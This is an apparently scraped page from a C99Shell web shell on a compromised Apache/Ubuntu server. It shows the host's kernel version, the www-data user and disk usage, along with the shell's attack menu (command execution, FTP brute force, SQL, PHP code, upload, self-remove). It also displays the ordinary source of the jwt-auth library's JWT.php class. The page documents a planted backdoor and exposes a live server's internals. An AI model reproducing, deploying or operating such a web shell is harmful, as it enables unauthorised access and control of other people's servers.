!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/vendor/tymon/jwt-auth/src/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JWT.php (8.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of jwt-auth.
 *
 * (c) Sean Tymon <tymon148@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Tymon\JWTAuth;

use 
BadMethodCallException;
use 
Illuminate\Http\Request;
use 
Tymon\JWTAuth\Contracts\JWTSubject;
use 
Tymon\JWTAuth\Exceptions\JWTException;
use 
Tymon\JWTAuth\Http\Parser\Parser;
use 
Tymon\JWTAuth\Support\CustomClaims;

class 
JWT
{
    use 
CustomClaims;

    
/**
     * The authentication manager.
     *
     * @var \Tymon\JWTAuth\Manager
     */
    
protected $manager;

    
/**
     * The HTTP parser.
     *
     * @var \Tymon\JWTAuth\Http\Parser\Parser
     */
    
protected $parser;

    
/**
     * The token.
     *
     * @var \Tymon\JWTAuth\Token|null
     */
    
protected $token;

    
/**
     * Lock the subject.
     *
     * @var bool
     */
    
protected $lockSubject true;

    
/**
     * JWT constructor.
     *
     * @param  \Tymon\JWTAuth\Manager  $manager
     * @param  \Tymon\JWTAuth\Http\Parser\Parser  $parser
     * @return void
     */
    
public function __construct(Manager $managerParser $parser)
    {
        
$this->manager $manager;
        
$this->parser $parser;
    }

    
/**
     * Generate a token for a given subject.
     *
     * @param  \Tymon\JWTAuth\Contracts\JWTSubject  $subject
     * @return string
     */
    
public function fromSubject(JWTSubject $subject)
    {
        
$payload $this->makePayload($subject);

        return 
$this->manager->encode($payload)->get();
    }

    
/**
     * Alias to generate a token for a given user.
     *
     * @param  \Tymon\JWTAuth\Contracts\JWTSubject  $user
     * @return string
     */
    
public function fromUser(JWTSubject $user)
    {
        return 
$this->fromSubject($user);
    }

    
/**
     * Refresh an expired token.
     *
     * @param  bool  $forceForever
     * @param  bool  $resetClaims
     * @return string
     */
    
public function refresh($forceForever false$resetClaims false)
    {
        
$this->requireToken();

        return 
$this->manager->customClaims($this->getCustomClaims())
                             ->
refresh($this->token$forceForever$resetClaims)
                             ->
get();
    }

    
/**
     * Invalidate a token (add it to the blacklist).
     *
     * @param  bool  $forceForever
     * @return $this
     */
    
public function invalidate($forceForever false)
    {
        
$this->requireToken();

        
$this->manager->invalidate($this->token$forceForever);

        return 
$this;
    }

    
/**
     * Alias to get the payload, and as a result checks that
     * the token is valid i.e. not expired or blacklisted.
     *
     * @return \Tymon\JWTAuth\Payload
     *
     * @throws \Tymon\JWTAuth\Exceptions\JWTException
     */
    
public function checkOrFail()
    {
        return 
$this->getPayload();
    }

    
/**
     * Check that the token is valid.
     *
     * @param  bool  $getPayload
     * @return \Tymon\JWTAuth\Payload|bool
     */
    
public function check($getPayload false)
    {
        try {
            
$payload $this->checkOrFail();
        } catch (
JWTException $e) {
            return 
false;
        }

        return 
$getPayload $payload true;
    }

    
/**
     * Get the token.
     *
     * @return \Tymon\JWTAuth\Token|null
     */
    
public function getToken()
    {
        if (
$this->token === null) {
            try {
                
$this->parseToken();
            } catch (
JWTException $e) {
                
$this->token null;
            }
        }

        return 
$this->token;
    }

    
/**
     * Parse the token from the request.
     *
     * @return $this
     *
     * @throws \Tymon\JWTAuth\Exceptions\JWTException
     */
    
public function parseToken()
    {
        if (! 
$token $this->parser->parseToken()) {
            throw new 
JWTException('The token could not be parsed from the request');
        }

        return 
$this->setToken($token);
    }

    
/**
     * Get the raw Payload instance.
     *
     * @return \Tymon\JWTAuth\Payload
     */
    
public function getPayload()
    {
        
$this->requireToken();

        return 
$this->manager->decode($this->token);
    }

    
/**
     * Alias for getPayload().
     *
     * @return \Tymon\JWTAuth\Payload
     */
    
public function payload()
    {
        return 
$this->getPayload();
    }

    
/**
     * Convenience method to get a claim value.
     *
     * @param  string  $claim
     * @return mixed
     */
    
public function getClaim($claim)
    {
        return 
$this->payload()->get($claim);
    }

    
/**
     * Create a Payload instance.
     *
     * @param  \Tymon\JWTAuth\Contracts\JWTSubject  $subject
     * @return \Tymon\JWTAuth\Payload
     */
    
public function makePayload(JWTSubject $subject)
    {
        return 
$this->factory()->customClaims($this->getClaimsArray($subject))->make();
    }

    
/**
     * Build the claims array and return it.
     *
     * @param  \Tymon\JWTAuth\Contracts\JWTSubject  $subject
     * @return array
     */
    
protected function getClaimsArray(JWTSubject $subject)
    {
        return 
array_merge(
            
$this->getClaimsForSubject($subject),
            
$subject->getJWTCustomClaims(), // custom claims from JWTSubject method
            
$this->customClaims // custom claims from inline setter
        
);
    }

    
/**
     * Get the claims associated with a given subject.
     *
     * @param  \Tymon\JWTAuth\Contracts\JWTSubject  $subject
     * @return array
     */
    
protected function getClaimsForSubject(JWTSubject $subject)
    {
        return 
array_merge([
            
'sub' => $subject->getJWTIdentifier(),
        ], 
$this->lockSubject ? ['prv' => $this->hashSubjectModel($subject)] : []);
    }

    
/**
     * Hash the subject model and return it.
     *
     * @param  string|object  $model
     * @return string
     */
    
protected function hashSubjectModel($model)
    {
        return 
sha1(is_object($model) ? get_class($model) : $model);
    }

    
/**
     * Check if the subject model matches the one saved in the token.
     *
     * @param  string|object  $model
     * @return bool
     */
    
public function checkSubjectModel($model)
    {
        if ((
$prv $this->payload()->get('prv')) === null) {
            return 
true;
        }

        return 
$this->hashSubjectModel($model) === $prv;
    }

    
/**
     * Set the token.
     *
     * @param  \Tymon\JWTAuth\Token|string  $token
     * @return $this
     */
    
public function setToken($token)
    {
        
$this->token $token instanceof Token $token : new Token($token);

        return 
$this;
    }

    
/**
     * Unset the current token.
     *
     * @return $this
     */
    
public function unsetToken()
    {
        
$this->token null;

        return 
$this;
    }

    
/**
     * Ensure that a token is available.
     *
     * @return void
     *
     * @throws \Tymon\JWTAuth\Exceptions\JWTException
     */
    
protected function requireToken()
    {
        if (! 
$this->token) {
            throw new 
JWTException('A token is required');
        }
    }

    
/**
     * Set the request instance.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return $this
     */
    
public function setRequest(Request $request)
    {
        
$this->parser->setRequest($request);

        return 
$this;
    }

    
/**
     * Set whether the subject should be "locked".
     *
     * @param  bool  $lock
     * @return $this
     */
    
public function lockSubject($lock)
    {
        
$this->lockSubject $lock;

        return 
$this;
    }

    
/**
     * Get the Manager instance.
     *
     * @return \Tymon\JWTAuth\Manager
     */
    
public function manager()
    {
        return 
$this->manager;
    }

    
/**
     * Get the Parser instance.
     *
     * @return \Tymon\JWTAuth\Http\Parser\Parser
     */
    
public function parser()
    {
        return 
$this->parser;
    }

    
/**
     * Get the Payload Factory.
     *
     * @return \Tymon\JWTAuth\Factory
     */
    
public function factory()
    {
        return 
$this->manager->getPayloadFactory();
    }

    
/**
     * Get the Blacklist.
     *
     * @return \Tymon\JWTAuth\Blacklist
     */
    
public function blacklist()
    {
        return 
$this->manager->getBlacklist();
    }

    
/**
     * Magically call the JWT Manager.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     *
     * @throws \BadMethodCallException
     */
    
public function __call($method$parameters)
    {
        if (
method_exists($this->manager$method)) {
            return 
call_user_func_array([$this->manager$method], $parameters);
        }

        throw new 
BadMethodCallException("Method [$method] does not exist.");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]--